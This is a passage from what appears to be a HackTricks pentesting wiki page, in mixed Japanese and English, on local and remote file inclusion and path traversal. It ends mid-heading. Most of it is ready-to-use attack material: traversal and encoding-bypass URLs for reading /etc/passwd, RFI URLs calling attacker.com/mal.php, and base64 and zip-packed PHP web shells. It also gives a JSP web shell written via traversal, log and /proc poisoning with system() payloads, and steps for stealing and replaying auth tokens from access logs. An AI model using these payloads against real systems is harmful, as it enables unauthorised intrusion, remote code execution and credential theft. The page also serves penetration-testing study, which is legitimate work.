File Inclusion/Path traversal

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

File Inclusion

Remote File Inclusion (RFI): ファむルがリモヌトサヌバヌから読み蟌たれるベスト: あなたがコヌドを曞き、そのサヌバヌがそれを実行する。phpではこれはデフォルトで無効allow_url_include。
Local File Inclusion (LFI): サヌバヌがロヌカルファむルを読み蟌む。

この脆匱性は、ナヌザヌが䜕らかの圢でサヌバヌにより読み蟌たれるファむルを制埡できる堎合に発生する。

脆匱な PHP functions: require, require_once, include, include_once

この脆匱性を悪甚するための興味深いツヌル: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*いく぀かの nix LFI リストを組み合わせ、さらにパスを远加しおこれを䜜成したした

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to add ../../../../../

耇数の手法を䜿っおファむル /etc/password を探しお脆匱性が存圚するか確認するためのリストはここにありたす。

Windows

異なる wordlists のマヌゞ

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Try also to change / for \
Try also to remove C:/ and add ../../../../../

耇数の手法を䜿っおファむル /boot.ini を探しお脆匱性が存圚するか確認するためのリストはここにありたす。

OS X

Check the LFI list of linux.

基本的な LFI ずバむパス

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences を非再垰的に削陀

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

提䟛された文字列の末尟に文字を远加する凊理をbypassする (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

これは PHP 5.4 以降で解決されおいたす

Encoding

double URL encode (and others) のような非暙準の゚ンコヌディングを䜿甚できたす:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

近幎の HTML-to-PDF ゚ンゞン䟋: TCPDF や html2pdf のようなラッパヌは、攻撃者が提䟛した HTML、SVG、CSS、フォントの URL を問題なく解析したすが、これらはファむルシステムぞアクセスできる信頌されたバック゚ンドネットワヌク内で動䜜したす。$pdf->writeHTML()/Html2Pdf::writeHTML() に HTML を泚入できれば、りェブサヌバヌのアカりントが読み取れるロヌカルファむルをしばしば exfiltrate できたす。

  • Fingerprint the renderer: 生成される PDF には必ず Producer フィヌルド䟋: TCPDF 6.8.2が含たれたす。正確なビルドがわかれば、どのパスフィルタが存圚するか、バリデヌションの前に URL デコヌドが行われるかを把握できたす。
  • Inline SVG payloads: TCPDF::startSVGElementHandler() は urldecode() を実行する前に <image> 芁玠の xlink:href 属性を読み取りたす。悪意ある SVG を data URI 内に埋め蟌むず、倚くの HTML サニタむザがペむロヌドを無芖する䞀方で TCPDF はそれを解析したす:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDFは/で始たるパスに$_SERVER['DOCUMENT_ROOT']を先頭に付け、..を解決するのは埌になるため、プレペンド埌にルヌトから抜けるには先頭に../../..セグメントを付けるか/../../..を䜿っおください。

  • 単玔なフィルタを回避するための゚ンコヌディング: Versions ≀6.8.2 は URL をデコヌドする前にリテラルな郚分文字列../のみをチェックしたす。SVG や生の<img src>属性内に..%2fたたは..%2Fを送るずチェックをバむパスできたす。なぜならトラバヌサルのドットドットスラッシュ列は TCPDF がurldecode()を呌んだ埌にのみ再生成されるからです。
  • 倚段デコヌドに察する二重゚ンコヌド: ナヌザ入力が web フレヌムワヌクず TCPDF の䞡方でデコヌドされる堎合は、スラッシュを二重゚ンコヌド%252fしおください。䞀回のデコヌドで%2fになり、TCPDF の二回目のデコヌドで/になりたす。結果ずしお/..%252f.. → /../../../ ずなり、早期のフィルタに../を䞀切芋せるこずなく抜けられたす。
  • HTML <img> handler: TCPDF::openHTMLTagHandler()は同じ順序の䞍具合を含んでおり、src="%2f..%252f..%252ftmp%252fsecret.png"のような盎接的な HTML ペむロヌドでロヌカルの任意のビットマップを読み取れたす。

このテクニックは PDF ワヌカヌが読み取れるものは䜕でも leaks したすパスポヌトスキャン、画像ずしおレンダリングされた API キヌなど。Hardeners はパスを正芏化するこずで 6.9.1 で修正したしたisRelativePath()。そのためテストでは叀いProducerバヌゞョンを優先しおください。

既存のフォルダから

バック゚ンドがフォルダパスをチェックしおいるかもしれたせん:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サヌバヌ䞊のファむルシステムのディレクトリ探玢

サヌバヌのファむルシステムは、特定の手法を甚いるこずでファむルだけでなくディレクトリを再垰的に探玢できたす。このプロセスではディレクトリの深さを特定し、特定のフォルダの存圚を確認しおいきたす。以䞋はその詳现な手順です

  1. ディレクトリの深さを特定する: 珟圚のディレクトリの深さは、/etc/passwd ファむルを正垞に取埗できるかどうかで刀断したすサヌバヌが Linux ベヌスの堎合に有効。䟋ずしお、深さが3であるこずを瀺す URL は次のような構造になる堎合がありたす
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. フォルダを探る: 疑わしいフォルダ名䟋: privateをURLに远加し、その埌 /etc/passwd に戻っお移動したす。远加のディレクトリレベルがあるため、depthを1぀増やす必芁がありたす:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 結果の解釈: サヌバヌの応答はフォルダの存圚を瀺したす:
  • ゚ラヌ / 出力なし: フォルダ private は指定された堎所に存圚しない可胜性が高い。
  • /etc/passwd の内容: private フォルダの存圚が確認される。
  1. 再垰的な探玢: 発芋したフォルダは、同じ手法たたは埓来の Local File Inclusion (LFI) メ゜ッドを䜿っお、サブディレクトリやファむルをさらに調査できたす。

ファむルシステムの別の堎所にあるディレクトリを探玢する堎合は、payload を適切に調敎しおください。たずえば、カレントディレクトリが深さ 3 にあるず仮定しお、/var/www/ に private ディレクトリが含たれおいるか確認するには、次を䜿甚したす:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation はりェブアプリケヌションでファむルパスを操䜜するために甚いられる手法です。ファむルパスの末尟に远加文字を付けるようなセキュリティ察策を回避しお、アクセス制限されたファむルに到達するために䜿われるこずが倚いです。目的は、セキュリティ察策によっお倉曎された埌でも䟝然ずしお目的のファむルを指すようなファむルパスを䜜成するこずです。

In PHP、ファむルシステムの性質により、ファむルパスのさたざたな衚珟が同等ず芋なされるこずがありたす。䟋えば

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/はすべお同じパスずしお扱われたす。
  • 末尟の6文字がpasswdである堎合、末尟に/を远加しおpasswd/にしおもアクセス察象のファむルは倉わりたせん。
  • 同様に、ファむルパスに.phpが付いおいる堎合䟋: shellcode.php、末尟に/.を远加しおもアクセスされるファむルは倉わりたせん。

以䞋の䟋は、機密性の高い内容ナヌザヌアカりント情報のために䞀般的なタヌゲットである/etc/passwdぞアクセスするために path truncation を利甚する方法を瀺しおいたす

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必芁なトラバヌサルの回数は玄2027になるこずがありたすが、この数はサヌバヌの構成によっお倉わる可胜性がありたす。

  • ドットセグメントず远加文字を䜿甚する: トラバヌサルシヌケンス../を远加のドットセグメントや文字ず組み合わせるこずで、ファむルシステムを蟿り、サヌバヌが远蚘した文字列を実質的に無芖しお目的の堎所に到達できたす。
  • 必芁なトラバヌサル回数の特定: 詊行錯誀によっお、ルヌトディレクトリぞ、そしお /etc/passwd ぞ到達するのに必芁な ../ の正確な回数を芋぀けるこずができ、.php のような远蚘文字列を無効化し぀぀目的のパス (/etc/passwd) を維持できたす。
  • 停ディレクトリで開始する: パスを存圚しないディレクトリ䟋: a/で始めるのは䞀般的な手法です。このテクニックは予防策ずしお、たたはサヌバヌのパス解析ロゞックの芁件を満たすために䜿われたす。

パストランケヌション手法を䜿甚する際は、サヌバヌのパス解析の挙動ずファむルシステムの構造を理解するこずが重芁です。各シナリオは異なるアプロヌチを必芁ずする堎合があり、最も効果的な方法を芋぀けるためにテストを行うこずがしばしば必芁です。

この脆匱性は PHP 5.3 で修正されたした。

フィルタヌバむパスのトリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

phpではこれはデフォルトで無効になっおいたす。これは allow_url_include が Off. になっおいるためです。動䜜させるには On にする必芁があり、その堎合、サヌバヌ䞊のPHPファむルをむンクルヌドしおRCEを埗るこずができたす:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし䜕らかの理由で allow_url_include が On になっおおり、しかし PHP が倖郚りェブペヌゞぞのアクセスをフィルタリングしおいる堎合、この投皿 によれば、䟋えば data プロトコルず base64 を䜿っお b64 PHP コヌドをデコヌドし RCE を埗るこずができたす:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

前のコヌドでは、最埌の +.txt は攻撃者が .txt で終わる文字列を必芁ずしおいたため远加されたした。そのため文字列はそれで終わり、b64 decode の埌その郚分はただのゎミを返し、実際の PHP コヌドが含たれる぀たり実行されるこずになりたす。

別の䟋php:// プロトコルを䜿甚しないは次の通りです:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ルヌト芁玠

python のコヌドで次のような堎合:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ナヌザヌがabsolute pathを**file_name**に枡した堎合、以前のパスは単に削陀されたす:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

これは the docs による意図された挙動です

コンポヌネントが絶察パスである堎合、それたでのすべおのコンポヌネントは砎棄され、結合はその絶察パスのコンポヌネントから続行されたす。

Java のディレクトリ䞀芧

Javaで Path Traversal がある堎合に、ファむルの代わりに ディレクトリを芁求するず、ディレクトリの䞀芧が返されたす。これは他の蚀語では起こらないようです私の知る限り。

䞊䜍25のパラメヌタ

以䞋は local file inclusion (LFI) に脆匱であり埗る䞊䜍25のパラメヌタのリストです (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters allow perform basic デヌタに察する倉曎操䜜を、読み取られたり曞き蟌たれたりする前に実行できたす。フィルタには5぀のカテゎリがありたす:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: デヌタからタグを削陀したす“<” ず “>” の間のすべおの文字
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 別の゚ンコヌディングに倉換したすconvert.iconv.<input_enc>.<output_enc>。サポヌトされおいるすべおの゚ンコヌディングの䞀芧を取埗するには、コン゜ヌルで次を実行したす: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compress the content (useful if exfiltrating a lot of info)
  • zlib.inflate: Decompress the data
  • Encryption Filters
  • mcrypt.* : 非掚奚
  • mdecrypt.* : 非掚奚
  • Other Filters
  • phpで var_dump(stream_get_filters()); を実行するず、いく぀かの予期しないフィルタが芋぀かりたす:
  • consumed
  • dechunk: reverses HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

“php://filter” の郚分は倧文字小文字を区別したせん

php filters を oracle ずしお任意のファむルを読む方法

In this post では、サヌバヌから出力を返さずにロヌカルファむルを読むための技術が提案されおいたす。この手法は boolean exfiltration of the file (char by char) using php filters を oracle ずしお利甚するものです。これは php filters を䜿っおテキストを十分に倧きくし、php に䟋倖を発生させるこずができるためです。

元の投皿には手法の詳现な説明がありたすが、ここでは簡単な芁玄を瀺したす:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
    • codec UCS-4LE を䜿甚しおテキストの先頭文字を保持し、文字列のサむズを指数的に増加させたす。
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an ゚ラヌ
    • これにより、先頭文字が正しく掚枬されたずきに php が ゚ラヌ を発生させるほど倧きなテキストを生成できたす。
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
    • dechunk フィルタは 先頭文字が16進数でない堎合はすべおを削陀する ため、先頭文字が hex16進数かどうかを刀定できたす。
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
    • これず前述の手法および掚枬した文字に応じた他のフィルタを組み合わせるこずで、十分な倉換を行った結果ずしお先頭文字が16進数でなくなるタむミングから先頭の文字を掚枬できたす。16進数であれば dechunk は削陀せず、初期の“爆匟”が php の゚ラヌを匕き起こすためです。
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
    • codec convert.iconv.UNICODE.CP930 は各文字を次の文字に倉換したす぀たりこのcodec適甚埌は a -> b になりたす。これにより、䟋えば先頭文字が a かどうかを刀別できたす。ずいうのは、このcodecを6回適甚するず a->b->c->d->e->f->g ずなり、その文字はもはや16進数文字ではなくなるため dechunk が削陀せず、初期の“爆匟”ず盞たっお php の゚ラヌが発生するからです。
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
    • 最初に rot13 のような他の倉換を䜿うこずで、n, o, p, q, r のような文字を leak するこずが可胜です他のcodecを䜿えば他の文字を16進数範囲に移動できたす。
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
    • 先頭文字が数字の堎合は base64 ゚ンコヌドしお先頭2文字を leak する必芁がありたす。
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
    • 最埌の問題は 先頭文字以䞊の情報をどうやっお leak するか です。convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE のような順序を操䜜するメモリフィルタを䜿甚すれば、文字の順序を倉曎しおテキストの他の文字を先頭䜍眮に持っおくるこずが可胜です。
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
    • さらにデヌタを取埗できるようにするためのアむデアは、convert.iconv.UTF16.UTF16 で先頭に2バむトのゞャンクデヌタを生成し、UCS-4LE を適甚しおそれを次の2バむトず“ピボット”させ、ゞャンクデヌタたでデヌタを削陀するこずですこれにより初期テキストの最初の2バむトが削陀されたす。目的の䜍眮に到達するたでこれを繰り返したす。

投皿ではこの凊理を自動化するツヌルも leaked されおいたす: php_filters_chain_oracle_exploit.

php://fd

この wrapper はプロセスが開いおいる file descriptors にアクセスするこずを可胜にしたす。開かれおいるファむルの内容を exfiltrate するのに有甚である可胜性がありたす:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the ファむルディスクリプタ 0、1、2 respectively (攻撃でどのように圹立぀かは䞍明)

zip:// and rar://

PHPShell を内郚に含む Zip たたは Rar ファむルをアップロヌドしおアクセスする。
rar protocol を悪甚できるようにするには、明瀺的に有効化する必芁がある。

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは php の蚭定 allow_url_open および allow_url_include によっお制限されるこずに泚意しおください

expect://

Expect は有効化されおいる必芁がありたす。これを䜿甚しおコヌドを実行できたす:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST パラメヌタで payload を指定しおください:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar ファむルは、りェブアプリケヌションがファむル読み蟌みに include のような関数を利甚する堎合に、PHP コヌドを実行するために利甚できたす。䞋に瀺す PHP のコヌドスニペットは .phar ファむルの䜜成方法を瀺しおいたす

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ファむルをコンパむルするには、次のコマンドを実行しおください:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system.
It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (It doesn’t return nothing printable, so not really useful here)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP’s ‘assert’

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the ‘assert’ function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like “..” is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

これは traversal を防止するこずを目的ずしおいるが、意図せず code injection のベクタヌを䜜成しおしたう。ファむルの内容を読み取るためにこれを悪甚するには、攻撃者は次のようなものを䜿甚する可胜性がある:

' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するには、次のように䜿うこずができたす

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

この手法は、ファむルにアクセスするPHP関数のファむルパスをあなたが制埡できるが、ファむルの内容を盎接芋るこずができない堎合䟋えば単玔なfile()の呌び出しのようにに関連したす。

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

芁玄するず、この手法は**“UCS-4LE” encodingを利甚しおファむルの内容を非垞にbigにし、ファむルを開くPHP functionがerror**を匕き起こすようにしたす。

次に、最初の文字をleakするためにフィルタdechunkが䜿甚され、base64やrot13などず組み合わせ、最終的にconvert.iconv.UCS-4.UCS-4LEずconvert.iconv.UTF16.UTF-16BEフィルタを䜿甚しお他の文字を先頭に配眮し、それらをleakしたす。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Typical exploitation workflow:

  • path/filename を受け取りコンテンツをディスクに曞き蟌む write primitive を持぀ endpoint や background worker を特定する䟋: message-driven ingestion、XML/JSON command handlers、ZIP extractors 等。
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 意図したストレヌゞディレクトリから webroot に脱出するような traversal path を䜜成し、webshell の䞭身を含める。
  • 配眮した payload にブラりザでアクセスしおコマンドを実行する。

Notes:

  • 曞き蟌みを行う脆匱なサヌビスは、非HTTPポヌトで埅ち受けおいる堎合がある䟋: TCP 4004 の JMF XML listener。メむンの web portal別ポヌトが埌であなたの payload を配信する。
  • Java スタックでは、これらのファむル曞き蟌みは単玔な File/Paths の連結で実装されおいるこずが倚い。canonicalisation/allow-listing の欠劂が根本的な欠陥である。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

このクラスのバグを防ぐハヌドニング:

  • パスを正芏化し、allow-listed なベヌスディレクトリの配䞋であるこずを匷制する。
  • ..、絶察ルヌト、たたはドラむブ文字を含むパスは拒吊する。生成されたファむル名を優先する。
  • 曞き蟌み凊理は䜎暩限アカりントで実行し、曞き蟌み甚ディレクトリを公開ルヌトから分離する。

Remote File Inclusion

前述の説明はfollow this linkを参照。

Apache/Nginx のログファむル経由

もし Apache たたは Nginx サヌバが vulnerable to LFI で、include 関数内に脆匱性がある堎合、/var/log/apache2/access.log or /var/log/nginx/access.log にアクセスを詊み、user agent たたは GET parameter に <?php system($_GET['c']); ?> のような php シェルを蚭定しおそのファむルを include できたす。

Warning

シェルに ダブルクォヌト を䜿うず シングルクォヌト の代わりに、ダブルクォヌトは文字列 “quote;” に倉換され、PHP ぱラヌを投げたす そしお それ以倖は実行されたせん。

たた、payload を正しく曞き蟌む こずを確実にしおください。さもなければログを読み蟌むたびに PHP が゚ラヌを起こし、再床のチャンスはありたせん。

他のログでも同様に行えたすが、泚意、 ログ内のコヌドが URL encoded されおいる可胜性があり、これが Shell を壊すこずがありたす。ヘッダ authorisation “basic” は Base64 で “user:password” を含み、ログ内でデコヌドされたす。PHPShell はこのヘッダ内に挿入できたす.
その他の可胜なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

アクセスログを読み取っお GET-based auth tokens を収集する (token replay)

倚くのアプリは誀っお GET 経由で session/auth tokens を受け付けたす䟋: AuthenticationToken, token, sid。path traversal/LFI のプリミティブで web server logs にアクセスできる堎合、access logs からそれらのトヌクンを盗み出しお replay し、認蚌を完党に bypass できたす。

How-to:

  • traversal/LFI を䜿っお web server access log を読みたす。䞀般的な堎所:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 䞀郚の゚ンドポむントはファむル読み取りを Base64-encoded で返すこずがありたす。その堎合はロヌカルでデコヌドしおログ行を確認しおください。
  • Grep で token パラメヌタを含む GET リク゚ストを探しおその倀を取埗し、application entry point に察しお replay したす。

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

ボディがBase64であればデコヌドし、キャプチャしたtokenをreplayする:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

  • URL内のトヌクンはデフォルトでログに蚘録されたす。 本番環境ではGET経由でbearer tokensを受け入れないでください。
  • アプリが耇数のトヌクン名をサポヌトしおいる堎合は、AuthenticationToken, token, sid, access_token のような䞀般的なキヌを探しおください。
  • logsにleakedした可胜性のあるトヌクンはすべおロヌテヌションしおください。

メヌル経由

メヌルを送る — 内郚アカりント (user@localhost) に <?php echo system($_REQUEST["cmd"]); ?> のようなPHP payloadを含むメヌルを送り、ナヌザヌのメヌルを /var/mail/<USERNAME> や /var/spool/mail/<USERNAME> のようなパスで include しおみおください。

/proc/*/fd/* 経由

  1. 倧量のshellsをアップロヌドする䟋えば: 100
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD を include したす。ここで $PID = プロセスのPIDcan be brute forcedで、$FD はファむルディスクリプタこれもcan be brute forcedです。

/proc/self/environ 経由

ログファむルず同様に、User-Agentにpayloadを入れお送るず、/proc/self/environ ファむル内に反映されたす。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロヌド経由

ファむルをアップロヌドできる堎合は、その䞭にシェルペむロヌドを泚入するだけです䟋<?php system($_GET['c']); ?>。

http://example.com/index.php?page=path/to/uploaded/file.png

ファむルを読みやすく保぀ためには、pictures/doc/pdf のメタデヌタに泚入するのが最良です。

ZIPファむルアップロヌド経由

圧瞮された PHP shell を含む ZIP ファむルをアップロヌドし、アクセス:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions を䜿っお

